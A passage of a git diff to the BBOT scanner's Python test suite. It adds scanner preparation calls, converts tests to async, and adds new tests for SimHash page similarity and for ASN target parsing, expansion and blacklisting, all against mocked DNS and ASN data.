scan._prep() event = scan.make_event({"path": "/tmp"}, "FILESYSTEM", parent=scan.root_event) assert event.data == {"path": "/tmp"} assert event.tags == {"folder"} @@ -1122,6 +1130,7 @@ def test_event_magic(): @pytest.mark.asyncio async def test_mobile_app(): scan = Scanner() + await scan._prep() with pytest.raises(ValidationError): scan.make_event("com.evilcorp.app", "MOBILE_APP", parent=scan.root_event) with pytest.raises(ValidationError): @@ -1150,6 +1159,7 @@ async def test_mobile_app(): @pytest.mark.asyncio async def test_filesystem(): scan = Scanner("FILESYSTEM:/tmp/asdfasdgasdfasdfddsdf") + await scan._prep() events = [e async for e in scan.async_start()] assert len(events) == 3 filesystem_events = [e for e in events if e.type == "FILESYSTEM"] @@ -1158,8 +1168,10 @@ async def test_filesystem(): assert filesystem_events[0].data == {"path": "/tmp/asdfasdgasdfasdfddsdf"} -def test_event_hashing(): +@pytest.mark.asyncio +async def test_event_hashing(): scan = Scanner("example.com") + await scan._prep() url_event = scan.make_event("https://api.example.com/", "URL_UNVERIFIED", parent=scan.root_event) host_event_1 = scan.make_event("www.example.com", "DNS_NAME", parent=url_event) host_event_2 = scan.make_event("test.example.com", "DNS_NAME", parent=url_event) diff --git a/bbot/test/test_step_1/test_files.py b/bbot/test/test_step_1/test_files.py index feb6b928c3..300742990a 100644 --- a/bbot/test/test_step_1/test_files.py +++ b/bbot/test/test_step_1/test_files.py @@ -6,6 +6,7 @@ @pytest.mark.asyncio async def test_files(bbot_scanner): scan1 = bbot_scanner() + await scan1._prep() # tempfile tempfile = scan1.helpers.tempfile(("line1", "line2"), pipe=False) diff --git a/bbot/test/test_step_1/test_helpers.py b/bbot/test/test_step_1/test_helpers.py index 0c71c56e42..56a31f48de 100644 --- a/bbot/test/test_step_1/test_helpers.py +++ b/bbot/test/test_step_1/test_helpers.py @@ -590,7 +590,7 @@ async def test_helpers_misc(helpers, scan, bbot_scanner, bbot_httpserver): await scan._cleanup() scan1 = bbot_scanner(modules="ipneighbor") - await scan1.load_modules() + await scan1._prep() assert int(helpers.get_size(scan1.modules["ipneighbor"])) > 0 await scan1._cleanup() @@ -661,6 +661,7 @@ async def test_word_cloud(helpers, bbot_scanner): # saving and loading scan1 = bbot_scanner("127.0.0.1") + await scan1._prep() word_cloud = scan1.helpers.word_cloud word_cloud.add_word("lantern") word_cloud.add_word("black") @@ -975,3 +976,161 @@ async def test_rm_temp_dir_at_exit(helpers): # temp dir should be removed assert not temp_dir.exists() + + +def test_simhash_similarity(helpers): + """Test SimHash helper with increasingly different HTML pages.""" + + # Base HTML page + base_html = """ + <!DOCTYPE html> + <html> + <head> + <title>Example Page + + + +

Welcome to Example Corp

+
+

This is the main content of our website.

+

We provide excellent services to our customers.

+
    +
  • Service A
  • +
  • Service B
  • +
  • Service C
  • +
+
+
Copyright 2024 Example Corp
+ + + """ + + # Slightly different - changed one word + slightly_different = """ + + + + Example Page + + + +

Welcome to Example Corp

+
+

This is the main content of our website.

+

We provide amazing services to our customers.

+
    +
  • Service A
  • +
  • Service B
  • +
  • Service C
  • +
+
+
Copyright 2024 Example Corp
+ + + """ + + # Moderately different - changed content section + moderately_different = """ + + + + Example Page + + + +

Welcome to Example Corp

+
+

This page contains different information.

+

Our products are innovative and cutting-edge.

+
    +
  • Product X
  • +
  • Product Y
  • +
  • Product Z
  • +
+
+
Copyright 2024 Example Corp
+ + + """ + + # Very different - completely different content + very_different = """ + + + + News Portal + + + +

Latest News

+
+
+

Breaking News Today

+

Important events are happening around the world.

+
+
+

Sports Update

+

Local team wins championship game.

+
+
+
News Corp 2024
+ + + """ + + # Completely different - different structure and content + completely_different = """ + + + + 300 + 5 + + + Result A + Result B + + + """ + + # Test SimHash similarity + simhash = helpers.simhash + + # Calculate hashes + base_hash = simhash.hash(base_html) + slightly_hash = simhash.hash(slightly_different) + moderately_hash = simhash.hash(moderately_different) + very_hash = simhash.hash(very_different) + completely_hash = simhash.hash(completely_different) + + # Calculate similarities + identical_similarity = simhash.similarity(base_hash, base_hash) + slight_similarity = simhash.similarity(base_hash, slightly_hash) + moderate_similarity = simhash.similarity(base_hash, moderately_hash) + very_similarity = simhash.similarity(base_hash, very_hash) + complete_similarity = simhash.similarity(base_hash, completely_hash) + + print(f"Identical: {identical_similarity:.3f}") + print(f"Slightly different: {slight_similarity:.3f}") + print(f"Moderately different: {moderate_similarity:.3f}") + print(f"Very different: {very_similarity:.3f}") + print(f"Completely different: {complete_similarity:.3f}") + + # Verify expected similarity ordering + assert identical_similarity == 1.0, "Identical content should have similarity of 1.0" + assert slight_similarity > moderate_similarity, ( + "Slightly different should be more similar than moderately different" + ) + assert moderate_similarity > very_similarity, "Moderately different should be more similar than very different" + assert very_similarity > complete_similarity, "Very different should be more similar than completely different" + + # Verify reasonable similarity ranges based on actual SimHash behavior + # With 64-bit hashes and 3-character shingles, we get good differentiation + assert slight_similarity > 0.90, "Slightly different content should be highly similar (>0.90)" + assert moderate_similarity > 0.70, "Moderately different content should be quite similar (>0.70)" + assert very_similarity > 0.50, "Very different content should have medium similarity (>0.50)" + assert complete_similarity > 0.30, "Completely different content should have low similarity (>0.30)" + assert complete_similarity < 0.50, "Completely different content should be clearly different (<0.50)" + + # Most importantly, verify the ordering is correct + assert identical_similarity > slight_similarity > moderate_similarity > very_similarity > complete_similarity diff --git a/bbot/test/test_step_1/test_manager_deduplication.py b/bbot/test/test_step_1/test_manager_deduplication.py index e33d5d8b6d..9151ad7da8 100644 --- a/bbot/test/test_step_1/test_manager_deduplication.py +++ b/bbot/test/test_step_1/test_manager_deduplication.py @@ -48,18 +48,29 @@ class PerDomainOnly(DefaultModule): async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs): scan = bbot_scanner(*args, config=_config, **kwargs) + await scan._prep() default_module = DefaultModule(scan) everything_module = EverythingModule(scan) no_suppress_dupes = NoSuppressDupes(scan) accept_dupes = AcceptDupes(scan) per_hostport_only = PerHostOnly(scan) per_domain_only = PerDomainOnly(scan) + + # Add modules to scan scan.modules["default_module"] = default_module scan.modules["everything_module"] = everything_module scan.modules["no_suppress_dupes"] = no_suppress_dupes scan.modules["accept_dupes"] = accept_dupes scan.modules["per_hostport_only"] = per_hostport_only scan.modules["per_domain_only"] = per_domain_only + + # Setup each module manually since they were added after _prep() + modules_to_setup = [default_module, everything_module, no_suppress_dupes, accept_dupes, per_hostport_only, per_domain_only] + for module in modules_to_setup: + setup_result = await module.setup() + if setup_result is not True: + raise Exception(f"Module {module.name} setup failed: {setup_result}") + if _dns_mock: await scan.helpers.dns._mock_dns(_dns_mock) if scan_callback is not None: diff --git a/bbot/test/test_step_1/test_manager_scope_accuracy.py b/bbot/test/test_step_1/test_manager_scope_accuracy.py index 8b7305a790..8d41f5a1fa 100644 --- a/bbot/test/test_step_1/test_manager_scope_accuracy.py +++ b/bbot/test/test_step_1/test_manager_scope_accuracy.py @@ -42,7 +42,7 @@ def bbot_other_httpservers(): @pytest.mark.asyncio -async def test_manager_scope_accuracy(bbot_scanner, bbot_httpserver, bbot_other_httpservers, bbot_httpserver_ssl): +async def test_manager_scope_accuracy_correct(bbot_scanner, bbot_httpserver, bbot_other_httpservers, bbot_httpserver_ssl): """ This test ensures that BBOT correctly handles different scope distance settings. It performs these tests for normal modules, output modules, and their graph variants, @@ -103,14 +103,21 @@ async def handle_batch(self, *events): async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs): scan = bbot_scanner(*args, config=_config, **kwargs) + await scan._prep() dummy_module = DummyModule(scan) dummy_module_nodupes = DummyModuleNoDupes(scan) dummy_graph_output_module = DummyGraphOutputModule(scan) dummy_graph_batch_output_module = DummyGraphBatchOutputModule(scan) + await dummy_module.setup() + await dummy_module_nodupes.setup() + await dummy_graph_output_module.setup() + await dummy_graph_batch_output_module.setup() + scan.modules["dummy_module"] = dummy_module scan.modules["dummy_module_nodupes"] = dummy_module_nodupes scan.modules["dummy_graph_output_module"] = dummy_graph_output_module scan.modules["dummy_graph_batch_output_module"] = dummy_graph_batch_output_module + await scan.helpers.dns._mock_dns(_dns_mock) if scan_callback is not None: scan_callback(scan) @@ -812,6 +819,7 @@ async def test_manager_blacklist(bbot_scanner, bbot_httpserver, caplog): config={"excavate": True, "dns": {"minimal": False, "search_distance": 1}, "scope": {"report_distance": 0}}, blacklist=["127.0.0.64/29"], ) + await scan._prep() await scan.helpers.dns._mock_dns({ "www-prod.test.notreal": {"A": ["127.0.0.66"]}, "www-dev.test.notreal": {"A": ["127.0.0.22"]}, @@ -829,6 +837,7 @@ async def test_manager_blacklist(bbot_scanner, bbot_httpserver, caplog): @pytest.mark.asyncio async def test_manager_scope_tagging(bbot_scanner): scan = bbot_scanner("test.notreal") + await scan._prep() e1 = scan.make_event("www.test.notreal", parent=scan.root_event, tags=["affiliate"]) assert e1.scope_distance == 1 assert "distance-1" in e1.tags diff --git a/bbot/test/test_step_1/test_modules_basic.py b/bbot/test/test_step_1/test_modules_basic.py index 6c7b0d1890..480b83747f 100644 --- a/bbot/test/test_step_1/test_modules_basic.py +++ b/bbot/test/test_step_1/test_modules_basic.py @@ -13,10 +13,9 @@ async def test_modules_basic_checks(events, httpx_mock): from bbot.scanner import Scanner scan = Scanner(config={"omit_event_types": ["URL_UNVERIFIED"]}) + await scan._prep() assert "URL_UNVERIFIED" in scan.omitted_event_types - await scan.load_modules() - # output module specific event filtering tests base_output_module_1 = BaseOutputModule(scan) base_output_module_1.watched_events = ["IP_ADDRESS", "URL_UNVERIFIED"] @@ -238,6 +237,8 @@ class mod_domain_only(BaseModule): force_start=True, ) + await scan._prep() + scan.modules["mod_normal"] = mod_normal(scan) scan.modules["mod_host_only"] = mod_host_only(scan) scan.modules["mod_hostport_only"] = mod_hostport_only(scan) @@ -308,7 +309,7 @@ async def test_modules_basic_perdomainonly(bbot_scanner, monkeypatch): force_start=True, ) - await per_domain_scan.load_modules() + await per_domain_scan._prep() await per_domain_scan.setup_modules() await per_domain_scan._set_status("RUNNING") @@ -398,6 +399,9 @@ async def handle_event(self, event): output_modules=["python"], force_start=True, ) + + await scan._prep() + await scan.helpers.dns._mock_dns( { "evilcorp.com": {"A": ["127.0.254.1"]}, @@ -473,6 +477,8 @@ async def handle_event(self, event): assert speculate_stats.consumed == {"URL": 1, "DNS_NAME": 3, "URL_UNVERIFIED": 1, "IP_ADDRESS": 3} assert speculate_stats.consumed_total == 8 + await scan._cleanup() + @pytest.mark.asyncio async def test_module_loading(bbot_scanner): @@ -482,7 +488,7 @@ async def test_module_loading(bbot_scanner): config={i: True for i in available_internal_modules if i != "dnsresolve"}, force_start=True, ) - await scan2.load_modules() + await scan2._prep() await scan2._set_status("RUNNING") # attributes, descriptions, etc. diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index fcb683ac03..58ca39c664 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -67,7 +67,7 @@ def test_core(): assert "test456" in core_copy.config["test123"] -def test_preset_yaml(clean_default_config): +async def test_preset_yaml(clean_default_config): import yaml preset1 = Preset( @@ -168,9 +168,11 @@ def test_preset_cache(): preset_file.unlink() -def test_preset_scope(): +@pytest.mark.asyncio +async def test_preset_scope(clean_default_config): # test target merging scan = Scanner("1.2.3.4", preset=Preset.from_dict({"target": ["evilcorp.com"]})) + await scan._prep() assert {str(h) for h in scan.preset.target.seeds.hosts} == {"1.2.3.4/32", "evilcorp.com"} assert {e.data for e in scan.target.seeds} == {"1.2.3.4", "evilcorp.com"} assert {str(h) for h in scan.target.target.hosts} == {"1.2.3.4/32", "evilcorp.com"} @@ -401,6 +403,7 @@ def test_preset_scope(): @pytest.mark.asyncio async def test_preset_logging(): scan = Scanner() + await scan._prep() # test individual verbosity levels original_log_level = CORE.logger.log_level @@ -499,7 +502,7 @@ async def test_preset_logging(): await scan._cleanup() -def test_preset_module_resolution(clean_default_config): +async def test_preset_module_resolution(clean_default_config): preset = Preset().bake() sslcert_preloaded = preset.preloaded_module("sslcert") wayback_preloaded = preset.preloaded_module("wayback") @@ -573,8 +576,7 @@ def test_preset_module_resolution(clean_default_config): assert set(preset.scan_modules) == {"wayback"} # modules + module exclusions - preset = Preset(exclude_modules=["sslcert"], modules=["sslcert", "dotnetnuke", "wayback"]).bake() - baked_preset = preset.bake() + baked_preset = Preset(exclude_modules=["sslcert"], modules=["sslcert", "dotnetnuke", "wayback"]).bake() assert baked_preset.modules == { "wayback", "cloudcheck", @@ -800,6 +802,7 @@ class TestModule5(BaseModule): # should fail with pytest.raises(ValidationError): scan = Scanner(preset=preset) + await scan._prep() preset = Preset.from_yaml_string( f""" @@ -950,6 +953,7 @@ async def test_preset_conditions(): assert preset.conditions scan = Scanner(preset=preset) + await scan._prep() assert scan.preset.conditions await scan._cleanup() @@ -958,10 +962,11 @@ async def test_preset_conditions(): preset.merge(preset2) with pytest.raises(PresetAbortError): - Scanner(preset=preset) + scan = Scanner(preset=preset) + await scan._prep() -def test_preset_module_disablement(clean_default_config): +async def test_preset_module_disablement(clean_default_config): # internal module disablement preset = Preset().bake() assert "speculate" in preset.internal_modules @@ -985,7 +990,7 @@ def test_preset_module_disablement(clean_default_config): assert set(preset.output_modules) == {"json"} -def test_preset_override(): +async def test_preset_override(clean_default_config): # tests to make sure a preset's config settings override others it includes preset_1_yaml = """ name: override1 @@ -1067,7 +1072,7 @@ def test_preset_override(): assert set(preset.scan_modules) == {"httpx", "c99", "robots", "virustotal", "securitytrails"} -def test_preset_require_exclude(): +async def test_preset_require_exclude(clean_default_config): def get_module_flags(p): for m in p.scan_modules: preloaded = p.preloaded_module(m) @@ -1177,7 +1182,7 @@ async def test_preset_output_dir(): # regression test for https://github.com/blacklanternsecurity/bbot/issues/2337 -def test_preset_serialization(): +async def test_preset_serialization(clean_default_config): preset = Preset("192.168.1.1") preset = preset.bake() diff --git a/bbot/test/test_step_1/test_python_api.py b/bbot/test/test_step_1/test_python_api.py index 0cac093af0..edad24e073 100644 --- a/bbot/test/test_step_1/test_python_api.py +++ b/bbot/test/test_step_1/test_python_api.py @@ -2,17 +2,19 @@ @pytest.mark.asyncio -async def test_python_api(): +async def test_python_api(clean_default_config): from bbot.scanner import Scanner # make sure events are properly yielded scan1 = Scanner("127.0.0.1") + await scan1._prep() events1 = [] async for event in scan1.async_start(): events1.append(event) assert any(e.type == "IP_ADDRESS" and e.data == "127.0.0.1" for e in events1) # make sure output files work scan2 = Scanner("127.0.0.1", output_modules=["json"], scan_name="python_api_test") + await scan2._prep() await scan2.async_start_without_generator() scan_home = scan2.helpers.scans_dir / "python_api_test" out_file = scan_home / "output.json" @@ -25,6 +27,7 @@ async def test_python_api(): assert "python_api_test" in open(debug_log).read() scan3 = Scanner("127.0.0.1", output_modules=["json"], scan_name="scan_logging_test") + await scan3._prep() await scan3.async_start_without_generator() assert "scan_logging_test" not in open(scan_log).read() @@ -46,10 +49,10 @@ async def test_python_api(): assert os.environ["BBOT_TOOLS"] == str(Path(bbot_home) / "tools") # output modules override - scan4 = Scanner() - assert set(scan4.preset.output_modules) == {"csv", "json", "python", "txt"} - scan5 = Scanner(output_modules=["json"]) - assert set(scan5.preset.output_modules) == {"json"} + scan5 = Scanner() + assert set(scan5.preset.output_modules) == {"csv", "json", "python", "txt"} + scan6 = Scanner(output_modules=["json"]) + assert set(scan6.preset.output_modules) == {"json"} # custom target types custom_target_scan = Scanner("ORG:evilcorp") @@ -58,22 +61,25 @@ async def test_python_api(): assert 1 == len([e for e in events if e.type == "ORG_STUB" and e.data == "evilcorp" and "seed" in e.tags]) # presets - scan6 = Scanner("evilcorp.com", presets=["subdomain-enum"]) - assert "sslcert" in scan6.preset.modules + scan7 = Scanner("evilcorp.com", presets=["subdomain-enum"]) + assert "sslcert" in scan7.preset.modules -def test_python_api_sync(): +@pytest.mark.asyncio +async def test_python_api_sync(clean_default_config): from bbot.scanner import Scanner # make sure events are properly yielded scan1 = Scanner("127.0.0.1") + await scan1._prep() events1 = [] - for event in scan1.start(): + async for event in scan1.async_start(): events1.append(event) assert any(e.type == "IP_ADDRESS" and e.data == "127.0.0.1" for e in events1) # make sure output files work scan2 = Scanner("127.0.0.1", output_modules=["json"], scan_name="python_api_test") - scan2.start_without_generator() + await scan2._prep() + await scan2.async_start_without_generator() out_file = scan2.helpers.scans_dir / "python_api_test" / "output.json" assert list(scan2.helpers.read_file(out_file)) # make sure config loads properly @@ -82,7 +88,8 @@ def test_python_api_sync(): assert os.environ["BBOT_TOOLS"] == str(Path(bbot_home) / "tools") -def test_python_api_validation(): +@pytest.mark.asyncio +async def test_python_api_validation(): from bbot.scanner import Scanner, Preset # invalid target diff --git a/bbot/test/test_step_1/test_regexes.py b/bbot/test/test_step_1/test_regexes.py index ffefbf1a12..d71f4c62db 100644 --- a/bbot/test/test_step_1/test_regexes.py +++ b/bbot/test/test_step_1/test_regexes.py @@ -354,6 +354,7 @@ async def test_regex_helper(): from bbot.scanner import Scanner scan = Scanner("evilcorp.com", "evilcorp.org", "evilcorp.net", "evilcorp.co.uk") + await scan._prep() dns_name_regexes = regexes.event_type_regexes["DNS_NAME"] @@ -399,6 +400,7 @@ async def test_regex_helper(): # test yara hostname extractor helper scan = Scanner("evilcorp.com", "www.evilcorp.net", "evilcorp.co.uk") + await scan._prep() host_blob = """ https://evilcorp.com/ https://asdf.evilcorp.com/ @@ -424,5 +426,6 @@ async def test_regex_helper(): } scan = Scanner() + await scan._prep() extracted = await scan.extract_in_scope_hostnames(host_blob) assert extracted == set() diff --git a/bbot/test/test_step_1/test_scan.py b/bbot/test/test_step_1/test_scan.py index a375fc3c3a..99ed4c4242 100644 --- a/bbot/test/test_step_1/test_scan.py +++ b/bbot/test/test_step_1/test_scan.py @@ -18,7 +18,7 @@ async def test_scan( blacklist=["1.1.1.1/28", "www.evilcorp.com"], modules=["ipneighbor"], ) - await scan0.load_modules() + await scan0._prep() assert scan0.in_target("1.1.1.1") assert scan0.in_target("1.1.1.0") assert scan0.blacklisted("1.1.1.15") @@ -51,6 +51,7 @@ async def test_scan( assert not scan1.in_scope("1.1.1.1") scan2 = bbot_scanner("1.1.1.1") + await scan2._prep() assert not scan2.blacklisted("1.1.1.1") assert not scan2.blacklisted("1.0.0.1") assert scan2.in_target("1.1.1.1") @@ -65,6 +66,7 @@ async def test_scan( # make sure DNS resolution works scan4 = bbot_scanner("1.1.1.1", config={"dns": {"minimal": False}}) + await scan4._prep() await scan4.helpers.dns._mock_dns(dns_table) events = [] async for event in scan4.async_start(): @@ -74,6 +76,7 @@ async def test_scan( # make sure it doesn't work when you turn it off scan5 = bbot_scanner("1.1.1.1", config={"dns": {"minimal": True}}) + await scan5._prep() await scan5.helpers.dns._mock_dns(dns_table) events = [] async for event in scan5.async_start(): @@ -85,6 +88,7 @@ async def test_scan( await scan._cleanup() scan6 = bbot_scanner("a.foobar.io", "b.foobar.io", "c.foobar.io", "foobar.io") + await scan6._prep() assert len(scan6.dns_strings) == 1 @@ -214,6 +218,7 @@ async def test_python_output_matches_json(bbot_scanner): "blacklanternsecurity.com", config={"speculate": True, "dns": {"minimal": False}, "scope": {"report_distance": 10}}, ) + await scan._prep() await scan.helpers.dns._mock_dns({"blacklanternsecurity.com": {"A": ["127.0.0.1"]}}) events = [e.json() async for e in scan.async_start()] output_json = scan.home / "output.json" @@ -262,6 +267,7 @@ async def test_exclude_cdn(bbot_scanner, monkeypatch, clean_default_config): # first, run a scan with no CDN exclusion scan = bbot_scanner("evilcorp.com") + await scan._prep() await scan.helpers._mock_dns(dns_mock) from bbot.modules.base import BaseModule @@ -278,7 +284,6 @@ async def handle_event(self, event): await self.emit_event("www.evilcorp.com:8080", "OPEN_TCP_PORT", parent=event, tags=["cdn-cloudflare"]) dummy = DummyModule(scan=scan) - await scan._prep() scan.modules["dummy"] = dummy events = [e async for e in scan.async_start() if e.type in ("DNS_NAME", "OPEN_TCP_PORT")] assert set(e.data for e in events) == { @@ -294,11 +299,12 @@ async def handle_event(self, event): # then run a scan with --exclude-cdn enabled preset = Preset("evilcorp.com") preset.parse_args() - assert preset.bake().to_yaml() == "modules:\n- portfilter\n" + baked_preset = preset.bake() + assert baked_preset.to_yaml() == "modules:\n- portfilter\n" scan = bbot_scanner("evilcorp.com", preset=preset) + await scan._prep() await scan.helpers._mock_dns(dns_mock) dummy = DummyModule(scan=scan) - await scan._prep() scan.modules["dummy"] = dummy events = [e async for e in scan.async_start() if e.type in ("DNS_NAME", "OPEN_TCP_PORT")] assert set(e.data for e in events) == { @@ -311,5 +317,6 @@ async def handle_event(self, event): async def test_scan_name(bbot_scanner): scan = bbot_scanner("evilcorp.com", name="test_scan_name") + await scan._prep() assert scan.name == "test_scan_name" assert scan.preset.scan_name == "test_scan_name" diff --git a/bbot/test/test_step_1/test_scope.py b/bbot/test/test_step_1/test_scope.py index 11c589bda1..d89c2df07b 100644 --- a/bbot/test/test_step_1/test_scope.py +++ b/bbot/test/test_step_1/test_scope.py @@ -5,6 +5,7 @@ class TestScopeBaseline(ModuleTestBase): targets = ["http://127.0.0.1:8888"] modules_overrides = ["httpx"] + config_overrides = {"omit_event_types": []} async def setup_after_prep(self, module_test): expect_args = {"method": "GET", "uri": "/"} @@ -80,11 +81,12 @@ class TestScopeCidrWithSeeds(ModuleTestBase): targets = ["192.168.1.0/24"] modules_overrides = ["dnsresolve"] - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): # Mock DNS so that: # - inscope.example.com resolves to 192.168.1.10 (inside the /24) # - outscope.example.com resolves to 10.0.0.1 (outside the /24) - # We do this before prep to ensure DNS mocking is ready before any resolution happens + # This must be in setup_after_prep because the base fixture applies a default + # mock_dns after prep which replaces any earlier mocks. await module_test.mock_dns( { "inscope.example.com": {"A": ["192.168.1.10"]}, diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index b9b0cd7fa2..6b2f9655ae 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -13,6 +13,12 @@ async def test_target_basic(bbot_scanner): scan4 = bbot_scanner("8.8.8.8/29") scan5 = bbot_scanner() + await scan1._prep() + await scan2._prep() + await scan3._prep() + await scan4._prep() + await scan5._prep() + # test different types of inputs target = BBOTTarget(target=["evilcorp.com", "1.2.3.4/8"]) assert "www.evilcorp.com" in target.seeds @@ -248,6 +254,7 @@ async def test_target_basic(bbot_scanner): # users + orgs + domains scan = bbot_scanner("USER:evilcorp", "ORG:evilcorp", "evilcorp.com") + await scan._prep() await scan.helpers.dns._mock_dns( { "evilcorp.com": {"A": ["1.2.3.4"]}, @@ -345,6 +352,225 @@ async def test_target_basic(bbot_scanner): assert {e.data for e in events} == {"http://evilcorp.com/", "evilcorp.com:443"} +@pytest.mark.asyncio +async def test_asn_targets(bbot_scanner): + """Test ASN target parsing, validation, and functionality.""" + from bbot.core.event.helpers import EventSeed + from bbot.scanner.target import BBOTTarget + from ipaddress import ip_network + + # Test ASN target parsing with different formats + for asn_format in ("ASN:15169", "AS:15169", "AS15169", "asn:15169", "as:15169", "as15169"): + event_seed = EventSeed(asn_format) + assert event_seed.type == "ASN" + assert event_seed.data == "15169" + assert event_seed.input == "ASN:15169" + + # Test ASN targets in BBOTTarget (target= is the primary input; seeds auto-populate from target) + target = BBOTTarget(target=["ASN:15169"]) + assert "ASN:15169" in target.seeds.inputs + + # Test ASN with other targets + target = BBOTTarget(target=["ASN:15169", "evilcorp.com", "1.2.3.4/24"]) + assert "ASN:15169" in target.seeds.inputs + assert "evilcorp.com" in target.seeds.inputs + assert "1.2.3.0/24" in target.seeds.inputs # IP ranges are normalized to network address + + # Test ASN targets must be expanded before being useful in whitelist/blacklist + # Direct ASN targets in whitelist/blacklist don't work since they have no host + # Instead, test that the ASN input is captured correctly + target = BBOTTarget(target=["evilcorp.com"]) + # ASN targets should be added to seeds, not whitelist/blacklist directly + target.seeds.add("ASN:15169") + assert "ASN:15169" in target.seeds.inputs + + # Test ASN target expansion with mocked ASN helper + class MockASNHelper: + async def asn_to_subnets(self, asn_number): + if asn_number == 15169: + return { + "asn": 15169, + "name": "GOOGLE", + "description": "Google LLC", + "country": "US", + "subnets": ["8.8.8.0/24", "8.8.4.0/24"], + } + return None + + class MockHelpers: + def __init__(self): + self.asn = MockASNHelper() + + # Test target expansion + target = BBOTTarget(target=["ASN:15169"]) + mock_helpers = MockHelpers() + + # Verify initial state + initial_hosts = len(target.seeds.hosts) + initial_seeds = len(target.seeds.event_seeds) + + # Generate children (expand ASN to IP ranges) + await target.generate_children(mock_helpers) + + # After expansion, should have additional IP range seeds + assert len(target.seeds.event_seeds) > initial_seeds + assert len(target.seeds.hosts) > initial_hosts + + # Should contain the expanded IP ranges + assert ip_network("8.8.8.0/24") in target.seeds.hosts + assert ip_network("8.8.4.0/24") in target.seeds.hosts + + # Target scope should also include the expanded ranges + assert ip_network("8.8.8.0/24") in target.target.hosts + assert ip_network("8.8.4.0/24") in target.target.hosts + + +@pytest.mark.asyncio +async def test_asn_targets_integration(bbot_scanner): + """Test ASN targets with full scanner integration.""" + from bbot.core.helpers.asn import ASNHelper + + # Mock ASN data for testing + mock_asn_data = { + "asn": 15169, + "name": "GOOGLE", + "description": "Google LLC", + "country": "US", + "subnets": ["8.8.8.0/24", "8.8.4.0/24"], + } + + # Create scanner with ASN target + scan = bbot_scanner("ASN:15169") + + # Mock the ASN helper to return test data + async def mock_asn_to_subnets(self, asn_number): + if asn_number == 15169: + return mock_asn_data + return None + + # Apply the mock + original_method = ASNHelper.asn_to_subnets + ASNHelper.asn_to_subnets = mock_asn_to_subnets + + try: + # Initialize scan to access preset and target + await scan._prep() + + # Verify target was parsed correctly + assert "ASN:15169" in scan.preset.target.seeds.inputs + + # Run target expansion + await scan.preset.target.generate_children(scan.helpers) + + # Verify expansion worked + from ipaddress import ip_network + + assert ip_network("8.8.8.0/24") in scan.preset.target.seeds.hosts + assert ip_network("8.8.4.0/24") in scan.preset.target.seeds.hosts + + # Test scope checking with expanded ranges + assert scan.in_scope("8.8.8.1") + assert scan.in_scope("8.8.4.1") + assert not scan.in_scope("1.1.1.1") + + finally: + # Restore original method + ASNHelper.asn_to_subnets = original_method + + +@pytest.mark.asyncio +async def test_asn_targets_edge_cases(bbot_scanner): + """Test edge cases and error handling for ASN targets.""" + from bbot.core.event.helpers import EventSeed + from bbot.errors import ValidationError + from bbot.scanner.target import BBOTTarget + + # Test invalid ASN formats that should raise ValidationError + invalid_formats_validation_error = ["ASN:", "AS:", "ASN:abc", "AS:xyz", "ASN:-1"] + for invalid_format in invalid_formats_validation_error: + with pytest.raises(ValidationError): + EventSeed(invalid_format) + + # Test invalid ASN format that gets parsed as something else + event_seed = EventSeed("ASNXYZ") + assert event_seed.type == "DNS_NAME" # Falls back to DNS parsing + assert event_seed.data == "asnxyz" + + # Test valid edge cases + valid_formats = ["ASN:0", "AS:0", "ASN:4294967295", "AS:4294967295"] + for valid_format in valid_formats[:2]: # Test just a couple to avoid huge ASN numbers + event_seed = EventSeed(valid_format) + assert event_seed.type == "ASN" + + # Test ASN with no subnets + class MockEmptyASNHelper: + async def asn_to_subnets(self, asn_number): + return None # No subnets found + + class MockEmptyHelpers: + def __init__(self): + self.asn = MockEmptyASNHelper() + + target = BBOTTarget(target=["ASN:99999"]) # Non-existent ASN + mock_helpers = MockEmptyHelpers() + + initial_seeds = len(target.seeds.event_seeds) + await target.generate_children(mock_helpers) + + # Should not add any new seeds for empty ASN + assert len(target.seeds.event_seeds) == initial_seeds + + # Test that ASN blacklisting would happen after expansion + # Since ASN targets can't be directly added to blacklist (no host), + # the proper way would be to expand the ASN and then blacklist the IP ranges + target = BBOTTarget(target=["evilcorp.com"]) + # This demonstrates the intended usage pattern - add expanded IP ranges to blacklist + target.blacklist.add("8.8.8.0/24") # Would come from ASN expansion + assert "8.8.8.0/24" in target.blacklist.inputs + + +@pytest.mark.asyncio +async def test_asn_blacklist_functionality(bbot_scanner): + """Test ASN blacklisting: IP range target with ASN in blacklist should expand and block subnets.""" + from bbot.core.helpers.asn import ASNHelper + from ipaddress import ip_network + + # Mock ASN 15169 to return 8.8.8.0/24 (within our target range) + async def mock_asn_to_subnets(self, asn_number): + if asn_number == 15169: + return {"asn": 15169, "subnets": ["8.8.8.0/24"]} + return None + + original_method = ASNHelper.asn_to_subnets + ASNHelper.asn_to_subnets = mock_asn_to_subnets + + try: + # Target: 8.8.8.0/23 (includes 8.8.8.0/24 and 8.8.9.0/24) + # Blacklist: ASN:15169 (should expand to 8.8.8.0/24 and block it) + scan = bbot_scanner("8.8.8.0/23", blacklist=["ASN:15169"]) + await scan._prep() + + # The ASN should have been expanded and the subnet should be in blacklist + assert ip_network("8.8.8.0/24") in scan.preset.target.blacklist.hosts + + # 8.8.8.x should be blocked (ASN subnet in blacklist) + assert not scan.in_scope("8.8.8.1") + assert not scan.in_scope("8.8.8.8") + assert not scan.in_scope("8.8.8.255") + + # 8.8.9.x should be allowed (in target but ASN doesn't cover this) + assert scan.in_scope("8.8.9.1") + assert scan.in_scope("8.8.9.8") + assert scan.in_scope("8.8.9.255") + + # IPs outside the target should not be in scope + assert not scan.in_scope("8.8.7.1") + assert not scan.in_scope("8.8.10.1") + + finally: + ASNHelper.asn_to_subnets = original_method + + @pytest.mark.asyncio async def test_blacklist_regex(bbot_scanner, bbot_httpserver): from bbot.scanner.target import ScanBlacklist @@ -389,6 +615,7 @@ async def test_blacklist_regex(bbot_scanner, bbot_httpserver): # make sure URL is detected normally scan = bbot_scanner("http://127.0.0.1:8888/", presets=["spider"], config={"excavate": True}, debug=True) + await scan._prep() assert {r.pattern for r in scan.target.blacklist.blacklist_regexes} == {r"/.*(sign|log)[_-]?out"} events = 